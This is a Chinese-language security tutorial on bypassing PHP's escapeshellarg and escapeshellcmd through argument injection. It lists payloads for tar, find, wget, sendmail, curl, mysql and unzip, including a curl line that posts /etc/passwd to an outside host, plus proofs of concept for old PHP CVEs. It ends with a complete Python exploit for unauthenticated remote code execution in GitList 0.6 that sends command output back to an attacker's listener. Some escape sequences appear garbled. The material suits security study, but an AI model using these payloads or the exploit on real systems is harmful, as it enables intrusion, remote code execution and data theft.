利用/绕过 PHP escapeshellarg/escapeshellcmd函数

escapeshellarg和escapeshellcmd的功能

escapeshellarg

1.确保用户只传递一个参数给命令
2.用户不能指定更多的参数一个
3.用户不能执行不同的命令

escapeshellcmd

1.确保用户只执行一个命令
2.用户可以指定不限数量的参数
3.用户不能执行不同的命令

让我们用groups去打印组里每个username成员

$username = 'myuser';
system('groups '.$username);
=>
myuser : myuser adm cdrom sudo dip plugdev lpadmin sambashare

但是攻击者可以在username里使用;或者||
在Linux里,这意味着第二个命令可以在第一个之后被执行

$username = 'myuser;id';
system('groups '.$username);
=>
myuser : myuser adm cdrom sudo dip plugdev lpadmin sambashare
uid=33(www-data) gid=33(www-data) groups=33(www-data)

为了防止这一点,我们使用escapeshellcmd
现在攻击者不能允许第2个命令了

$username = 'myuser;id';
// escapeshellcmd adds  before ;
system(escapeshellcmd('groups '.$username));
=>
(nothing)

为什么会这样?因为php内部运行了这样的命令

$ groups myuser;id
groups: „myuser;id”: no such user

myuser;id被当成了一个字符串
但是在这种方法中,攻击者可以指定更多参数groups
例如,他一次检测多个用户

$username = 'myuser1 myuser2';
system('groups '.$username);
=>
myuser1 : myuser1 adm cdrom sudo
myuser2 : myuser2 adm cdrom sudo

假设我们希望允许每个脚本执行仅检查一个用户:

$username = 'myuser1 myuser2';
system('groups '.escapeshellarg($username));
=>
(noting)

为什么会这样?因为现在$username被视为单个参数:

$ groups 'myuser1 myuser2'
groups: "myuser1 myuser2": no such user

 

已知的绕过/利用

当你想利用这些功能时,你有两个选择:

如果PHP版本非常老,你可以尝试一个历史漏洞,
否则你需要尝试参数注入技术。

 

参数注入

从上一章可以看到,使用escapeshellcmd / escapeshellarg时不可能执行第二个命令。
但是我们仍然可以将参数传递给第一个命令。
这意味着我们也可以将新选项传递给命令。
利用漏洞的能力取决于目标可执行文件。
您可以在下面找到一些已知可执行文件的列表,其中包含一些可能被滥用的特定选项。

TAR

压缩some_file/tmp/sth

$command = '-cf /tmp/sth /some_file';
system(escapeshellcmd('tar '.$command));

创建一个空文件/tmp/exploit

$command = "--use-compress-program='touch /tmp/exploit' -cf /tmp/passwd /etc/passwd";
system(escapeshellcmd('tar '.$command));

FIND

/tmp目录查找文件some_file

$file = "some_file";
system("find /tmp -iname ".escapeshellcmd($file));

打印/etc/passwd内容

$file = "sth -or -exec cat /etc/passwd ; -quit";
system("find /tmp -iname ".escapeshellcmd($file));

Escapeshellcmd和escapeshellarg

在这个配置中,我们可以传递第二个参数给函数。
列出/tmp目录并忽略sth文件

$arg = "sth";
system(escapeshellcmd("ls --ignore=".escapeshellarg($arg).' /tmp'));

/tmp目录中列出文件并忽略sth。使用长列表格式。

$arg = "sth' -l ";
// ls --ignore='exploit'\'' -l ' /tmp
system(escapeshellcmd("ls --ignore=".escapeshellarg($arg).' /tmp'));

例如:WGET,下载example.php

$url = 'http://example.com/example.php';
system(escapeshellcmd('wget '.$url));

保存.php文件到指定目录

$url = '--directory-prefix=/var/www/html http://example.com/example.php';
system(escapeshellcmd('wget '.$url));

用.bat执行命令

打印somedir中的文件列表

$dir = "somedir";
file_put_contents('out.bat', escapeshellcmd('dir '.$dir));
system('out.bat');

并且执行whoami命令

$dir = "somedir x1a whoami";
file_put_contents('out.bat', escapeshellcmd('dir '.$dir));
system('out.bat');

SENDMAIL

发送mail.txtfrom@sth.com

$from = 'from@sth.com';
system("/usr/sbin/sendmail -t -i -f".escapeshellcmd($from ).' < mail.txt');

打印/etc/passwd内容

$from = 'from@sth.com -C/etc/passwd -X/tmp/output.txt';
system("/usr/sbin/sendmail -t -i -f".escapeshellcmd($from ).' < mail.txt');

CURL

下载http://example.com内容

$url = 'http://example.com';
system(escapeshellcmd('curl '.$url));

发送/etc/passwd内容到http://example.com

$url = '-F password=@/etc/passwd http://example.com';
system(escapeshellcmd('curl '.$url));

你可以得到文件内容,使用如下payload:

file_put_contents('passwords.txt', file_get_contents($_FILES['password']['tmp_name']));

MYSQL

执行sql语句

$sql = 'SELECT sth FROM table';
system("mysql -uuser -ppassword -e ".escapeshellarg($sql));

运行id命令

$sql = '! id';
system("mysql -uuser -ppassword -e ".escapeshellarg($sql));

UNZIP

archive.zip解压所有*.tmp文件到/tmp目录

$zip_name = 'archive.zip';
system(escapeshellcmd('unzip -j '.$zip_name.' *.txt -d /aa/1'));

archive.zip解压所有*.tmp文件到/var/www/html目录

$zip_name = '-d /var/www/html archive.zip';
system('unzip -j '.escapeshellarg($zip_name).' *.tmp -d /tmp');

如果未设置LANG环境变量,则去除非ASCII字符

$filename = 'résumé.pdf';
// string(10) "'rsum.pdf'"
var_dump(escapeshellarg($filename));
setlocale(LC_CTYPE, 'en_US.utf8');
//string(14) "'résumé.pdf'" 
var_dump(escapeshellarg($filename));

 

经典EXP

PHP <= 4.3.6 on Windows – CVE-2004-0542

$find = 'word';
system('FIND /C /I '.escapeshellarg($find).' c:\where\');

同时运行dir命令.

$find = 'word " c:\where\ || dir || ';
system('FIND /C /I '.escapeshellarg($find).' c:\where\');

PHP 4 <= 4.4.8 and PHP 5 <= 5.2.5 – CVE-2008-2051

Shell需要使用GBK,EUC-KR,SJIS等可变宽度字符集的语言环境。

$text = "sth";
system(escapeshellcmd("echo ".$text));
$text = "sth xc0; id";
system(escapeshellcmd("echo ".$text));

或者

$text1 = 'word';
$text2 = 'word2';
system('echo '.escapeshellarg($text1).' '.escapeshellarg($text2));
$text1 = "word xc0";
$text2 = "; id ; #";
system('echo '.escapeshellarg($text1).' '.escapeshellarg($text2));

PHP < 5.4.42, 5.5.x before 5.5.26, 5.6.x before 5.6.10 on Windows – CVE-2015-4642

额外传递的第三个参数(—param3)。

$a = 'param1_value';
$b = 'param2_value';
system('my_command --param1 ' . escapeshellarg($a) . ' --param2 ' . escapeshellarg($b));
$a = 'a\';
$b = 'b -c --param3\';
system('my_command --param1 ' . escapeshellarg($a) . ' --param2 ' . escapeshellarg($b));

PHP 7.x before 7.0.2 – CVE-2016-1904

如果将1024mb字符串传递给escapeshellarg,则导致缓冲区溢出escapeshellcmd。

PHP 5.4.x < 5.4.43 / 5.5.x < 5.5.27 / 5.6.x < 5.6.11 on Windows

启用EnableDelayedExpansion后,展开一些环境变量。

然后!STH!运行类似于%STH%

escapeshellarg不会过滤!字符
EnableDelayedExpansion以在HKLM或HKCU下的注册表中设置:

[HKEY_CURRENT_USERSoftwareMicrosoftCommand Processor]
"DelayedExpansion"= (REG_DWORD)
1=enabled 0=disabled (default)

例如:

// Leak appdata dir value
$text = '!APPDATA!';
print "echo ".escapeshellarg($text);

PHP < 5.6.18

功能定义于ext/standard/exec.c,运行类似于(escapeshellcmd,eschapeshellarg,shell_exec),忽略PHP字符串的长度,并用NULL终止工作代替。

echo escapeshellarg("helloworld");
=>
hello

 

GitList RCE漏洞利用

文件src/Git/Repository.php

public function searchTree($query, $branch)
{
    if (empty($query)) {
        return null;
    }

    $query = escapeshellarg($query);

    try {
        $results = $this->getClient()->run($this, "grep -i --line-number {$query} $branch");
    } catch (RuntimeException $e) {
        return false;
    }
}

简化后

$query = 'sth';
system('git grep -i --line-number '.escapeshellarg($query).' *');

当我们查看git grep文档时

--open-files-in-pager[=<pager>]
Open the matching files in the pager (not the output of grep). If the pager happens to be "less" or "vi", and the user specified only one pattern, the first file is positioned at the first match automatically.

所以基本上--open-files-in-pager就像是在-exec中执行find.

$query = '--open-files-in-pager=id;';
system('git grep -i --line-number '.escapeshellarg($query).' *');

当我们输入这些进控制台

$ git grep -i --line-number '--open-files-in-pager=id;' *
uid=1000(user) gid=1000(user) grupy=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev)
id;: 1: id;: README.md: not found

最后的exp:

import requests
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
import urlparse
import urllib
import threading
import time
import os
import re

url = 'http://192.168.1.1/gitlist/'
command = 'id'
your_ip = '192.168.1.100'
your_port = 8001

print "GitList 0.6 Unauthenticated RCE"
print "by Kacper Szurek"
print "https://security.szurek.pl/"

print "REMEMBER TO DISABLE FIREWALL"

search_url = None
r = requests.get(url)
repos = re.findall(r'/([^/]+)/master/rss', r.text)

if len(repos) == 0:
    print "[-] No repos"
    os._exit(0)

for repo in repos:
    print "[+] Found repo {}".format(repo)
    r = requests.get("{}{}".format(url, repo))
    files = re.findall(r'href="[^"]+blob/master/([^"]+)"', r.text)
    for file in files:
        r = requests.get("{}{}/raw/master/{}".format(url, repo, file))
        print "[+] Found file {}".format(file)
        print r.text[0:100]
        search_url = "{}{}/tree/{}/search".format(url, repo, r.text[0:1])        
        break

if not search_url:
    print "[-] No files in repo"
    os._exit(0)

print "[+] Search using {}".format(search_url)

class GetHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        parsed_path = urlparse.urlparse(self.path)
        print "[+] Command response"
        print urllib.unquote_plus(parsed_path.query).decode('utf8')[2:]
        self.send_response(200)
        self.end_headers()
        self.wfile.write("OK")
        os._exit(0)

    def log_message(self, format, *args):
        return

def exploit_server():
    server = HTTPServer((your_ip, your_port), GetHandler)
    server.serve_forever()

print "[+] Start server on {}:{}".format(your_ip, your_port)
t = threading.Thread(target=exploit_server)
t.daemon = True
t.start()
print "[+] Server started"

r  = requests.post(search_url, data={'query':'--open-files-in-pager=php -r "file_get_contents(\"http://{}:{}/?a=\".urlencode(shell_exec(\"{}\")));"'.format(your_ip, your_port, command)})

while True:
    time.sleep(1)
(完)